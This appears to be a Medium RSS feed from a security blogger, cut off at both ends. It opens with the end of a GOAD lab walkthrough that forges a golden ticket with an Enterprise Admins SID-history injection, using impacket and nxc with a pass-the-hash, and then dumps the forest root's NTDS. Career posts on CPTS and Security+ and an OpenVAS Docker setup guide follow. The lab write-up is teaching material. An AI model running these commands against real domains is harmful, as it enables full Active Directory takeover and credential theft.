domain</strong>. north is a child of sevenkingdoms.local, and you now hold krbtgt for the child. That&#39;s your bridge to the next domain.</p><p>grep -iv disabled /root/.nxc/logs/ntds/WINTERFELL_winterfell.north.sevenkingdoms.local_2026-06-24_221048.ntds | cut -d &#39;:&#39; -f1</p><p><strong>The attack: Golden Ticket + SID History injection.</strong> north is a child of sevenkingdoms.local. You hold north’s krbtgt. You forge a TGT for a north user but inject the <strong>Enterprise Admins SID</strong> (from the parent) into the ticket’s SID history. The parent DC honors it because of the intra-forest trust → you become Enterprise Admin over the whole forest.</p><p><strong>Step 1 — Gather the three SIDs you need.</strong> You need the north domain SID, and the parent’s Enterprise Admins SID.</p><p># North domain SID (from a known north account)</p><p>impacket-lookupsid -k -no-pass north.sevenkingdoms.local/Administrator@winterfell.north.sevenkingdoms.local | grep -i &quot;Domain SID&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*FRoKmMLtJ2hTm_uQkacFZA.png" /></figure><p>The output shows SIDs like S-1-5-21-XXXX-YYYY-ZZZZ-500. The S-1-5-21-XXXX-YYYY-ZZZZ part (before the last dash) is the <strong>north domain SID</strong>.</p><p>The parent domain SID is obtainable from north itself, because the trust object for sevenkingdoms.local is stored <em>in</em> north&#39;s directory. Query it locally with your north access:</p><p># The parent&#39;s SID is on the trustedDomain object inside NORTH</p><p>nxc ldap winterfell.north.sevenkingdoms.local -u Administrator \ -H dbd13e1c4e338284ac4e9874f7de6ef4 \ --query &quot;(objectClass=trustedDomain)&quot; &quot;name securityIdentifier&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6N9vxuH-8ss_iLa09uarqQ.png" /></figure><p>That reads the trust object from north (where your hash <em>is</em> valid) and returns sevenkingdoms.local&#39;s SID.</p><p>If securityIdentifier comes back as raw bytes, get it human-readable via the foreign security principals or just use impacket lookupsid pointed at <strong>the parent but authenticating through the trust</strong> — but try the LDAP query first.</p><p>Verify it so there’s zero typo risk in the forge:</p><p>python3 -c &quot; from impacket.ldap.ldaptypes import LDAP_SID raw = b&#39;\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x61\xfd\x0e\x49\x11\x13\x62\x86\x4a\x2d\xe0\xb1&#39; s = LDAP_SID() s.fromString(raw) print(s.formatCanonical()) &quot;</p><p>It prints the exact S-1-5-21-... parent SID. Use whatever it outputs.</p><p><strong>Step 1 — Forge the cross-domain golden ticket with Enterprise Admins extraSID:</strong></p><p>impacket-ticketer -nthash df7b4dbbd52b190d7995ece000d7be1b \ -domain-sid S-1-5-21-816581353-3740603274-4224154194 \ -domain north.sevenkingdoms.local \ -extra-sid S-1-5-21-1225719137-2254574353-2984258890-519 \ Administrator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*1nqXI9A2xtR-XgvK1PZXyw.png" /></figure><p>Breakdown of what you’re injecting:</p><ul><li>nthash df7b... = north&#39;s krbtgt (signs the ticket — this is why owning krbtgt = forge anything)</li><li>domain-sid = north&#39;s SID (the ticket&#39;s home domain)</li><li>extra-sid ...-519 = <strong>Enterprise Admins of the parent</strong> smuggled into SID history → parent DC honors it across the trust</li></ul><p>It writes Administrator.ccache.</p><p><strong>Step 2 — Load the forged ticket:</strong></p><p>export KRB5CCNAME=Administrator.ccache</p><p>klist</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*9LHUGpFkpyXiCBaLHsDgpA.png" /></figure><p>You should see a TGT for Administrator @ NORTH.SEVENKINGDOMS.LOCAL.</p><p><strong>Step 3 — DCSync the FOREST ROOT (KINGSLANDING) using the forged ticket.</strong> Make sure it resolves, then dump the parent’s krbtgt + Administrator:</p><p>Fix the north KDC resolution first (the error we saw before), sync time, then dump:</p><p># Fix north KDC resolution so KINGSLANDING can do the referral</p><p>grep -q &quot;NORTH.SEVENKINGDOMS.LOCAL&quot; /etc/hosts || \ echo &quot;192.168.154.11 NORTH.SEVENKINGDOMS.LOCAL&quot; | sudo tee -a /etc/hosts</p><p># Sync to parent DC</p><p>sudo ntpdate 192.168.154.10</p><p># DCSync the forest root</p><p>nxc smb kingslanding.sevenkingdoms.local --use-kcache --ntds</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AC-aPTi8S2-ZcqRvrfwjKg.png" /></figure><p>The NTDS dump — you’re looking for:</p><ul><li>Administrator:500:...&lt;hash&gt;::: (sevenkingdoms DA)</li><li>krbtgt:502:...&lt;hash&gt;::: (parent krbtgt = forest-wide Golden Ticket)</li><li>robert.baratheon and cersei.lannister (the named DAs from the docs)</li></ul><p>That dump = <strong>forest root owned = Enterprise Admin = full GOAD compromise</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=29ed8769f45c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From SOC Engineer to Penetration Tester: My Journey to the CPTS Certification]]></title>
            <link>https://uns8eshow.medium.com/from-soc-engineer-to-penetration-tester-my-journey-to-the-cpts-certification-59c956f7a120?source=rss-a7b5d0dbae2c------2</link>
            <guid isPermaLink="false">https://medium.com/p/59c956f7a120</guid>
            <dc:creator><![CDATA[UNS8ESHOW]]></dc:creator>
            <pubDate>Mon, 06 Apr 2026 09:43:56 GMT</pubDate>
            <atom:updated>2026-04-06T09:43:56.422Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NIlqmWD8A_ZOoh1UM30z4Q.jpeg" /></figure><p>Well, last few years I was a SOC engineer and I started to get bored with my work due to the lack of new challenges and things like that. So I started wondering if I could start a new journey. My thoughts were also that pentesting can involve a lot of remote work and traveling, not just staying in one office your whole life. On the other hand, the SOC engineer role is just a 9-to-5 job in the same chair every day.</p><p>So I told my manager back then that I wanted to switch to another team in the same company. He asked if I was able to do pentesting tasks, you know, if I was technically good enough. So he said, yeah alright, I can switch you, but you need to earn it — get an OSCP or something like that.</p><p>To be honest, OSCP is great, but that thing is expensive and they were not going to pay for it. I needed to do it from my own pocket. So I searched and I found that CPTS is actually a great alternative, and it can even be more technical than OSCP. So I decided to take it.</p><p>Then I started my journey with those bastards of modules — just kidding, they were awesome. I learned a lot from them. It took me around eight months to complete them because I was doing that only after work, and you know how it is — the whole day is gone and you only have evenings and weekends. So it was a long journey.</p><p>Also, I had already done a lot of boxes even before starting those modules — around 50 boxes of different difficulties.</p><p>Whenever I was doing a module, I might struggle a little bit with some questions, so I Googled solutions. The skill assessments were also a little difficult, so I searched a lot. To be honest, Medium was a gold mine for that. I could find almost every walkthrough there.</p><p>For the ones I didn’t find, I tried to solve them myself. It was a bit hard, but worth it. Sometimes I also found information on Reddit or other sources. But my goal at the time was also that whenever some information was lacking on Medium, I tried to write something about it so people in the future could find better resources.</p><p>Anyway, after finishing the modules I took the CPTS Track — not all of them, but around 80%. I also created some notes to help me during the exam because there is a lot of content and you need to know exactly what to use to solve each issue during the exam.</p><p>I actually bought the exam voucher when I was around 50% through the modules so I could force myself to stay consistent with learning. Also to validate that I had already paid for it, so now I had to pass it no matter what. I literally told myself: deal with it like a man.</p><p>Then came the exam part.</p><p>It is a 10-day exam and you get two attempts included in the voucher if you don’t finish it on the first one.</p><p>During the first attempt I struggled a lot with rabbit holes. I spent almost five days before getting my first flag — which was crazy. But after that it became a bit easier and I managed to get a few others before the end of the 10 days.</p><p>In total I got seven flags, but I still didn’t reach the minimum of 12 out of 14 to pass, and I had not started the report yet. I was a bit upset, but then I remembered that I had a second attempt, so I told myself not to give up.</p><p>Between the two attempts there are about three weeks, so you have time to reorganize yourself and study more. They can take up to 20 days to get back to you with the report review. For the first attempt to be valid, you still need to submit a report, even if it is just the template they give you at the beginning.</p><p>After that, you get their response and they tell you that you need to start your second attempt within 14 days of receiving the answer.</p><p>Also, to note something very important: while you are collecting flags, write down every step in detail — the commands, the thoughts behind them, the strategy you used, the results of the commands, and screenshots.</p><p>To be clear, they prefer that you submit commands and outputs in the report as much as possible, but there are some steps where screenshots are necessary, like actions in web interfaces or RDP sessions.</p><p>Anyway, the second attempt was smoother, except for one chained flag that actually made me crazy because every step didn’t give the flag directly — it just led to another step. It was the longest chain of all.</p><p>But I managed to get the required flags — from 8 to 12 — in about five days. Then I used the remaining five days to build a clean professional report respecting the standards discussed in the reporting module.</p><p>I submitted it at the end and I was really stressed about the result because there are people who say you can mess it up just with the report even if you got the flags.</p><p>But Alhamdulillah, as Khabib said: <strong>Alhamdulillah… second attempt, I smashed that exam.</strong></p><p>In the end I got my certification and I was really happy because it took me a lot of time and effort, and I truly felt like I deserved it.</p><p>Did I stop learning? Absolutely not.</p><p>Right now I’m working on another certification, but I’ll keep it secret for now. I’ll update you when it’s done.</p><p>Wish me luck, and I wish you a great journey too.</p><p>Always work toward a goal in life — something you want to earn or achieve — otherwise you will feel bored every day.</p><p>Stay tuned.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=59c956f7a120" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Monitoring to Breaking: My Journey to the CPTS Certification]]></title>
            <link>https://uns8eshow.medium.com/from-monitoring-to-breaking-my-journey-to-the-cpts-certification-ca6da52818f7?source=rss-a7b5d0dbae2c------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca6da52818f7</guid>
            <dc:creator><![CDATA[UNS8ESHOW]]></dc:creator>
            <pubDate>Fri, 13 Mar 2026 09:07:30 GMT</pubDate>
            <atom:updated>2026-03-13T09:07:30.869Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NIlqmWD8A_ZOoh1UM30z4Q.jpeg" /></figure><p>For a long time, my career revolved around security monitoring infrastructure. I worked as a <strong>SOC Engineer</strong>, responsible for the engineering side of security operations rather than the analytical one. My role focused on maintaining and improving the security platform itself — managing the SIEM, developing and tuning detection rules, building SOAR automations, and ensuring the overall monitoring stack functioned efficiently.</p><p>At first, the work was exciting. Designing detections, integrating new log sources, and building automation workflows felt like solving complex technical puzzles that directly strengthened the organization’s security posture.</p><p>But after some time, the learning curve started to flatten.</p><p>The days began to feel repetitive. The same platforms, the same engineering workflows, the same chair every day from 9 to 5. I realized that what initially motivated me — diving deep into technical challenges — was slowly fading as the role became more routine than exploratory.</p><p>So I started asking myself a simple question:</p><p><strong>What if I tried something different within cybersecurity?</strong></p><h3>Considering the Switch to Offensive Security</h3><p>Offensive security had always been something that fascinated me. The idea of thinking like an attacker, understanding systems deeply, and discovering weaknesses felt much closer to the type of challenge I was looking for.</p><p>Another factor that attracted me was the nature of the work. Penetration testing often offers more flexibility: remote work, project-based engagements, and sometimes the opportunity to work from different places rather than staying tied to a single office routine.</p><p>Eventually, I decided to bring the idea up with my manager.</p><p>The response was supportive, but also realistic.</p><p>Switching teams was possible — <strong>but I had to prove I was capable of performing penetration testing work.</strong> The suggestion was to obtain a well-recognized certification to validate my skills.</p><p>One of the obvious options was the <strong>Offensive Security Certified Professional (OSCP)</strong>, which is widely respected in the industry. However, there was one major obstacle: the cost. Funding it entirely out of pocket wasn’t realistic for me at the time.</p><p>So I started searching for alternatives.</p><h3>Discovering the CPTS Certification</h3><p>During my research, I came across the <strong>Hack The Box Certified Penetration Testing Specialist (CPTS)</strong> offered by <strong>Hack The Box</strong>.</p><p>The more I read about it, the more interesting it looked.</p><p>The certification focuses heavily on <strong>hands-on technical skills</strong>, realistic attack scenarios, and structured methodology. Many people even considered its learning path to be extremely technical and practical.</p><p>So I made the decision: <strong>this would be my path into offensive security.</strong></p><h3>Eight Months of Learning</h3><p>The CPTS path is built around a large number of modules covering topics like:</p><ul><li>enumeration</li><li>exploitation</li><li>privilege escalation</li><li>web application testing</li><li>pivoting</li><li>Active Directory attacks</li><li>reporting methodology</li></ul><p>Completing the modules took me <strong>around eight months</strong>.</p><p>Not because the content was slow — but because I was doing it <strong>outside of work hours</strong>.</p><p>Most days looked something like this:</p><ul><li>full workday</li><li>study after work</li><li>longer sessions during weekends</li></ul><p>Progress was slow, but consistent.</p><p>Along the way I also solved <strong>around 50 practice machines</strong> of varying difficulty. Those labs were critical because they forced me to apply techniques in unpredictable environments rather than simply following theory.</p><h3>When Research Becomes Part of Learning</h3><p>One thing I learned quickly is that <strong>struggling is part of the process</strong>.</p><p>Some module questions were challenging. The skill assessments were even more demanding.</p><p>Whenever I got stuck, I researched.</p><p>Interestingly, <strong>Medium became one of the most valuable resources</strong> during this process. Many people had written detailed explanations and walkthroughs that helped clarify concepts.</p><p>If I couldn’t find an answer, I looked at other sources like community forums or tried to solve the challenge myself.</p><p>Sometimes it worked. Sometimes it didn’t.</p><p>But every attempt taught me something.</p><p>Eventually I also started writing small notes about topics that were poorly documented. The idea was simple:</p><blockquote><em>If information helped me, it might help someone else later.</em></blockquote><h3>Preparing for the Exam</h3><p>The CPTS exam is not a typical certification test.</p><p>It is a <strong>10-day practical penetration testing assessment</strong> in a simulated enterprise environment. Candidates must compromise multiple systems, discover attack paths, and collect flags proving successful exploitation.</p><p>The voucher includes <strong>two attempts</strong>, which removes some of the pressure.</p><p>Even before finishing all modules, I bought the exam voucher intentionally.</p><p>It was a psychological commitment.</p><p>Once I had paid for it, the message to myself was clear:</p><p><strong>You’re finishing this. No excuses.</strong></p><p>Before starting the exam, I also prepared <strong>extensive notes</strong>. With so many techniques and tools involved, having structured documentation helps enormously during a long assessment.</p><h3>The First Attempt: Rabbit Holes Everywhere</h3><p>My first attempt was… rough.</p><p>Very rough.</p><p>For almost <strong>five days</strong>, I couldn’t find the first flag.</p><p>Rabbit holes were everywhere. I was following paths that looked promising but ultimately led nowhere.</p><p>Eventually things started to click, and I managed to collect several flags. By the end of the 10 days I had discovered <strong>seven flags</strong>, but the minimum required to pass was <strong>twelve out of fourteen</strong>.</p><p>It was frustrating.</p><p>But the second attempt still remained.</p><h3>Between Attempts</h3><p>There is a waiting period between attempts while the submitted report is reviewed.</p><p>Even if the attempt is unsuccessful, <strong>a report must still be submitted</strong>. It can even be the basic template provided by the exam.</p><p>This waiting period turned out to be useful.</p><p>It gave me time to:</p><ul><li>review my notes</li><li>analyze mistakes</li><li>practice additional labs</li><li>improve my methodology</li></ul><h3>The Second Attempt</h3><p>The second attempt felt very different.</p><p>Because the lab environment remains the same, the flags discovered during the first attempt can simply be collected again. That meant I already had a starting advantage.</p><p>This time, my approach was more structured.</p><p>Enumeration first.<br>Documentation for every step.<br>Clear reasoning behind each action.</p><p>One challenge involved a <strong>long attack chain</strong>, where each step led to another system rather than directly revealing a flag. That one was particularly painful — but also incredibly satisfying once everything finally connected.</p><p>Within about <strong>five days</strong>, I had gathered enough flags to pass.</p><p>The remaining time was dedicated entirely to <strong>writing a clean and professional report</strong>, following the reporting standards taught in the training modules.</p><h3>The Importance of Documentation</h3><p>If there is one critical lesson from this certification, it is this:</p><p><strong>Document everything.</strong></p><p>Every command.<br>Every result.<br>Every screenshot where necessary.</p><p>For command-line steps, including the command and its output is often enough. For graphical interfaces (web apps, RDP sessions, etc.), screenshots become essential.</p><p>A clear report can make the difference between success and failure.</p><h3>The Result</h3><p>After submitting the report, the waiting began again.</p><p>Some candidates mention failing because of reporting mistakes even after finding enough flags, so naturally there was some stress.</p><p>But eventually the result arrived.</p><p>The certification was approved.</p><p>As Khabib once said:</p><p><em>“Alhamdolilah second attempt I smashed that exam”</em></p><h3>What Comes Next</h3><p>Earning the CPTS certification was an important milestone for me.</p><p>Not because of the certificate itself, but because of the <strong>journey it required</strong>:</p><ul><li>months of discipline</li><li>late-night study sessions</li><li>countless failed attempts</li><li>and continuous learning</li></ul><p>And the learning hasn’t stopped.</p><p>I’m already working toward another certification — though I’ll keep that one a secret for now.</p><p>I’ll share more about it when the time comes.</p><h3>Final Thoughts</h3><p>If there’s one thing I’ve learned from this experience, it’s this:</p><p><strong>Always work toward something meaningful.</strong></p><p>A goal.<br>A skill.<br>A challenge.</p><p>Without it, days start to feel repetitive and progress slows down.</p><p>With it, even difficult journeys become worthwhile.</p><p>Good luck to anyone currently on their own cybersecurity path.</p><p>And stay curious.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca6da52818f7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Smashed the Hardest Exam of My Career: HTB CPTS]]></title>
            <link>https://uns8eshow.medium.com/how-i-smashed-the-hardest-exam-of-my-career-ca6777a7f14e?source=rss-a7b5d0dbae2c------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca6777a7f14e</guid>
            <dc:creator><![CDATA[UNS8ESHOW]]></dc:creator>
            <pubDate>Fri, 13 Mar 2026 08:42:43 GMT</pubDate>
            <atom:updated>2026-03-13T09:15:20.842Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NIlqmWD8A_ZOoh1UM30z4Q.jpeg" /></figure><h3>The Transition: Seeking New Challenges</h3><p>For the past few years, I worked as a SOC Engineer. While the role provided a foundational understanding of defensive security, I eventually reached a plateau. I found myself craving more complex, hands-on challenges. I wanted to understand the “how” behind the attacks I was monitoring, and I felt a strong pull toward the flexibility and specialized nature of professional penetration testing.</p><p>When I discussed my career goals with my manager, he was supportive but clear: to move into an offensive role, I needed to prove my technical depth. He suggested a high-level certification to bridge the gap.</p><h3>Why I Chose CPTS over OSCP</h3><p>The industry often defaults to the OSCP, but after researching the curriculum, I chose the <strong>HTB Certified Penetration Testing Specialist (CPTS)</strong>. Two reasons drove this decision:</p><ol><li><strong>Technical Depth:</strong> The HTB Academy modules are incredibly thorough, covering Active Directory and Web Attacks in a way that feels very close to real-world scenarios.</li><li><strong>Personal Investment:</strong> Since I was self-funding this journey, I wanted a certification that provided the most “knowledge per dollar.” The CPTS is widely regarded by those who have taken it as one of the most rigorous exams currently available.</li></ol><h3>The 8-Month Preparation</h3><p>Balancing a full-time job with a certification of this magnitude is a test of discipline. For eight months, my “second shift” began after work and during weekends.</p><p>Before even starting the CPTS path, I completed around <strong>50 machines</strong> on Hack The Box to build my muscle memory. Even then, the “Skills Assessments” at the end of each module were formidable. Whenever I hit a wall, I looked for community walk-throughs on Medium or Reddit — not for the answers, but to understand the <em>methodology</em>. This taught me that if you can’t find a resource, you have an obligation to eventually create one for others.</p><h3>The Exam: A 10-Day Marathon</h3><p>The CPTS exam is famous for its length: 10 days of access, followed by a strict reporting requirement.</p><ul><li><strong>The First Attempt:</strong> I’ll be honest — I struggled with “rabbit holes” for the first five days. I managed to secure 7 flags, but I fell short of the passing requirement. However, HTB allows a second attempt included in the voucher. I submitted my initial report as required and took the three-week “cool down” period to reorganize my notes and refine my strategy.</li><li><strong>The Second Attempt:</strong> This is where everything clicked. I encountered a complex vulnerability chain that was both frustrating and brilliant — a series of steps that required perfect execution to reach the objective. I secured the necessary flags within five days and spent the remaining time on the <strong>Professional Report</strong>.</li></ul><h3>The Importance of the Report</h3><p>In the CPTS, you don’t just pass by hacking; you pass by communicating. I spent five full days building a clean, professional report that respected the norms of a real-world assessment. This is often where candidates fail, but it is the most vital skill for a professional pentester.</p><p>When the “Pass” notification finally arrived, it was a moment of immense pride. It was a validation of months of sacrifice and late-night study sessions.</p><h3>Final Thoughts: Stay Hungry</h3><p>Earning this certification wasn’t just about a badge; it was about shifting my mindset from a defensive observer to an offensive practitioner. To anyone feeling “stuck” in their current role: set a high-stakes goal and commit to it. The growth happens in the struggle.</p><p>I’m already moving toward my next milestone — keeping the momentum alive. Stay focused, stay disciplined, and keep pushing the boundaries of what you know.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca6777a7f14e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Passed the CompTIA Security+ Certification: A Journey of Focus and Preparation]]></title>
            <link>https://uns8eshow.medium.com/how-i-passed-the-comptia-security-certification-a-journey-of-focus-and-preparation-f8853103ac13?source=rss-a7b5d0dbae2c------2</link>
            <guid isPermaLink="false">https://medium.com/p/f8853103ac13</guid>
            <dc:creator><![CDATA[UNS8ESHOW]]></dc:creator>
            <pubDate>Thu, 06 Feb 2025 23:13:42 GMT</pubDate>
            <atom:updated>2025-02-06T23:13:42.853Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>How I Passed the CompTIA Security+ Certification: A Journey of Focus and Preparation</strong></p><figure><img alt="Security+ 701" src="https://cdn-images-1.medium.com/max/1024/1*WmXBDbA-Agvy-7riZxxW9w.jpeg" /><figcaption>Security+ 701</figcaption></figure><p><strong>The Journey to Passing the Security+ Certification: How Focus and Preparation Lead to Success</strong></p><p>Earning the CompTIA Security+ certification was one of the most rewarding challenges of my career. It wasn’t just about memorizing security concepts or acing practice exams — it was about learning how to stay focused, be disciplined, and manage my time effectively. If you’re considering this certification, or any certification for that matter, I hope my journey can offer some insights into how you can approach your preparation, stay on track, and ultimately succeed.</p><h3>Setting the Stage: Why Security+?</h3><p>For me, Security+ was a natural next step. I already had a foundational understanding of IT, but I wanted to dive deeper into cybersecurity. With cyber threats constantly evolving, the Security+ certification was an ideal way to prove my knowledge in areas like network security, compliance, and risk management. But, just because it felt like the right fit didn’t mean it would be an easy ride. The preparation required discipline, focus, and a structured approach.</p><h3>The Initial Approach: Mapping Out the Plan</h3><p>The first step I took was setting a realistic timeline. I knew I couldn’t just dive into studying without a clear plan. So, I chose a study window of about two months. The key here was to break it down into manageable tasks and focus on mastering one domain at a time. The Security+ exam covers a wide range of topics: threats, vulnerabilities, network security, risk management, and more. I didn’t try to cram everything into a single week. Instead, I allocated specific study days for each subject and built in time for review.</p><h3>Choosing the Right Resources: Quality Over Quantity</h3><p>There are a ton of Security+ study guides out there, but I knew I had to choose carefully. For me, a combination of the <strong>CompTIA SY0–701 Security+ Training Course by Professor Messer</strong> and <strong>YouTube videos </strong>worked best. I also used <strong>Practice Test Questions</strong> to gauge my understanding and get used to the exam format. One mistake I made at first was relying too heavily on one resource — but once I diversified, it made all the difference.</p><p>The key was to ensure that I wasn’t just reading passively. I would make notes, highlight key concepts, and test myself regularly. Active learning is what helps solidify knowledge, and that was the game-changer for me.</p><h3>Staying Focused: Building Momentum</h3><p>One of the biggest challenges during this journey was staying focused. It’s easy to get distracted with work, social obligations, or life in general. What helped me was setting <strong>small, achievable goals</strong>. Every day I would aim for completing a specific number of chapters or practice tests. This small wins mentality kept me motivated. Also, sticking to a consistent study schedule, even if it meant studying for an hour a day, helped me stay on track.</p><h3>Review and Practice: The Final Push</h3><p>In the last week before the exam, I focused heavily on reviewing my notes, revisiting practice exams, and identifying areas where I still felt unsure. The Security+ exam isn’t just about memorization, but also about applying what you’ve learned to real-world scenarios. So, I spent a lot of time practicing problem-solving questions and situational scenarios to reinforce my understanding.</p><p>When the day of the exam came, I felt nervous, but more than that, I felt <strong>prepared</strong>. All the hours spent studying, the practice tests, and the steady focus finally came together.</p><h3>The Reward: Achieving the Goal</h3><p>Passing the Security+ exam was an incredibly satisfying moment. It wasn’t just about the certificate, but about knowing that I had mastered an area that is essential to IT and cybersecurity. The journey taught me valuable lessons in discipline, focus, and time management — skills that go far beyond just passing exams.</p><p>If you’re preparing for Security+ or any other certification, remember: it’s not about how fast you can go, but about how well you can go. Stay focused, stay organized, and trust the process.</p><h3>Here are some of the resources I relied on:</h3><p><a href="https://www.youtube.com/watch?v=KiEptGbnEBc&amp;list=PLG49S3nxzAnl4QDVqK-hOnoqcSKEIDDuv&amp;ab_channel=ProfessorMesser">How to Pass Your SY0–701 Security+ Exam</a></p><p><a href="https://www.examcompass.com/comptia/security-plus-certification/free-security-plus-practice-tests">CompTIA Security+ Practice Test Questions</a></p><p>My notes: <a href="https://funky-kip-81f.notion.site/CompTIA-Security-Exams-Copy-13b22026c521803eb961cca8f6e7e31a?pvs=4">https://funky-kip-81f.notion.site/CompTIA-Security-Exams-Copy-13b22026c521803eb961cca8f6e7e31a?pvs=4</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f8853103ac13" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OPENVAS IN KALI LINUX: STEP BY STEP GUIDE]]></title>
            <link>https://uns8eshow.medium.com/openvas-in-kali-linux-step-by-step-guide-dbf425224baf?source=rss-a7b5d0dbae2c------2</link>
            <guid isPermaLink="false">https://medium.com/p/dbf425224baf</guid>
            <dc:creator><![CDATA[UNS8ESHOW]]></dc:creator>
            <pubDate>Thu, 30 Jan 2025 22:41:56 GMT</pubDate>
            <atom:updated>2025-01-30T22:41:56.461Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="GVM OPENVAS INSTALLATION GUIDE" src="https://cdn-images-1.medium.com/max/474/1*9HyrxWkIYTrv9fjtXoB0eQ.jpeg" /></figure><p><strong>Introduction</strong></p><p>In this tutorial, we’ll walk through the steps to install Docker on Kali Linux, set up a secure TLS certificate for your web interface, and get Greenbone Security Assistant (GSA) running with Docker. This setup will help you get started with a powerful vulnerability management solution using Docker containers on Kali Linux.</p><p><strong>Step 1: Install Docker on Kali Linux</strong></p><p>Add Docker Repository</p><pre>echo &quot;deb [arch=amd64 signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian bookworm stable&quot; | \<br>  sudo tee /etc/apt/sources.list.d/docker.list</pre><p>Add Docker GPG Key</p><pre>curl -fsSL https://download.docker.com/linux/debian/gpg | \<br>  sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg</pre><p>Update Package List</p><pre>sudo apt update</pre><p>Install Docker</p><pre>sudo apt install -y docker.io</pre><p>Enable Docker to Start on Boot</p><pre>sudo systemctl enable docker --now</pre><p>Add User to Docker Group</p><pre>sudo usermod -aG docker $USER</pre><p>Install Docker CE (Community Edition)</p><pre>sudo apt install -y docker-ce docker-ce-cli containerd.io</pre><p><strong>Step 2: Set Up TLS Certificate for the Web Interface (GSA)</strong></p><p>Prepare the Directories</p><pre>export DOWNLOAD_DIR=$HOME/greenbone-community-container &amp;&amp; mkdir -p $DOWNLOAD_DIR<br>cd $DOWNLOAD_DIR<br>mkdir .tls<br>cd .tls</pre><p>Generate TLS Certificate and set permissions</p><pre>openssl req -x509 -newkey rsa:4096 -keyout serverkey.pem -out servercert.pem -nodes -days 365<br>sudo chown root:root server*<br>sudo chmod 664 server*</pre><p>Edit Docker Compose File</p><pre>cd $DOWNLOAD_DIR<br>nano docker-compose.yml</pre><p>The following is a sample of the docker compose file (change the certificate and key paths in gsa -&gt; volumes)</p><pre>name: greenbone-community-edition<br><br>services:<br>  vulnerability-tests:<br>    image: registry.community.greenbone.net/community/vulnerability-tests<br>    environment:<br>      STORAGE_PATH: /var/lib/openvas/22.04/vt-data/nasl<br>    volumes:<br>      - vt_data_vol:/mnt<br><br>  notus-data:<br>    image: registry.community.greenbone.net/community/notus-data<br>    volumes:<br>      - notus_data_vol:/mnt<br><br>  scap-data:<br>    image: registry.community.greenbone.net/community/scap-data<br>    volumes:<br>      - scap_data_vol:/mnt<br><br>  cert-bund-data:<br>    image: registry.community.greenbone.net/community/cert-bund-data<br>    volumes:<br>      - cert_data_vol:/mnt<br><br>  dfn-cert-data:<br>    image: registry.community.greenbone.net/community/dfn-cert-data<br>    volumes:<br>      - cert_data_vol:/mnt<br>    depends_on:<br>      - cert-bund-data<br><br>  data-objects:<br>    image: registry.community.greenbone.net/community/data-objects<br>    volumes:<br>      - data_objects_vol:/mnt<br><br>  report-formats:<br>    image: registry.community.greenbone.net/community/report-formats<br>    volumes:<br>      - data_objects_vol:/mnt<br>    depends_on:<br>      - data-objects<br><br>  gpg-data:<br>    image: registry.community.greenbone.net/community/gpg-data<br>    volumes:<br>      - gpg_data_vol:/mnt<br><br>  redis-server:<br>    image: registry.community.greenbone.net/community/redis-server<br>    restart: on-failure<br>    volumes:<br>      - redis_socket_vol:/run/redis/<br><br>  pg-gvm:<br>    image: registry.community.greenbone.net/community/pg-gvm:stable<br>    restart: on-failure<br>    volumes:<br>      - psql_data_vol:/var/lib/postgresql<br>      - psql_socket_vol:/var/run/postgresql<br><br>  gvmd:<br>    image: registry.community.greenbone.net/community/gvmd:stable<br>    restart: on-failure<br>    volumes:<br>      - gvmd_data_vol:/var/lib/gvm<br>      - scap_data_vol:/var/lib/gvm/scap-data/<br>      - cert_data_vol:/var/lib/gvm/cert-data<br>      - data_objects_vol:/var/lib/gvm/data-objects/gvmd<br>      - vt_data_vol:/var/lib/openvas/plugins<br>      - psql_data_vol:/var/lib/postgresql<br>      - gvmd_socket_vol:/run/gvmd<br>      - ospd_openvas_socket_vol:/run/ospd<br>      - psql_socket_vol:/var/run/postgresql<br>    depends_on:<br>      pg-gvm:<br>        condition: service_started<br>      scap-data:<br>        condition: service_completed_successfully<br>      cert-bund-data:<br>        condition: service_completed_successfully<br>      dfn-cert-data:<br>        condition: service_completed_successfully<br>      data-objects:<br>        condition: service_completed_successfully<br>      report-formats:<br>        condition: service_completed_successfully<br><br>  gsa:<br>    image: registry.community.greenbone.net/community/gsa:stable<br>    restart: on-failure<br>    environment:<br>      - GSAD_ARGS=--no-redirect --http-sts --gnutls-priorities=SECURE256:-VERS-TLS-ALL:+VERS-TLS1.2:+VERS-TLS1.3<br>    ports:<br>      - 443:443<br>    volumes:<br>      - /home/username/greenbone-community-container/.tls/serverkey.pem:/var/lib/gvm/private/CA/serverkey.pem<br>      - /home/username/greenbone-community-container/.tls/servercert.pem:/var/lib/gvm/CA/servercert.pem<br>      - gvmd_socket_vol:/run/gvmd<br>    depends_on:<br>      - gvmd<br>  # Sets log level of openvas to the set LOG_LEVEL within the env<br>  # and changes log output to /var/log/openvas instead /var/log/gvm<br>  # to 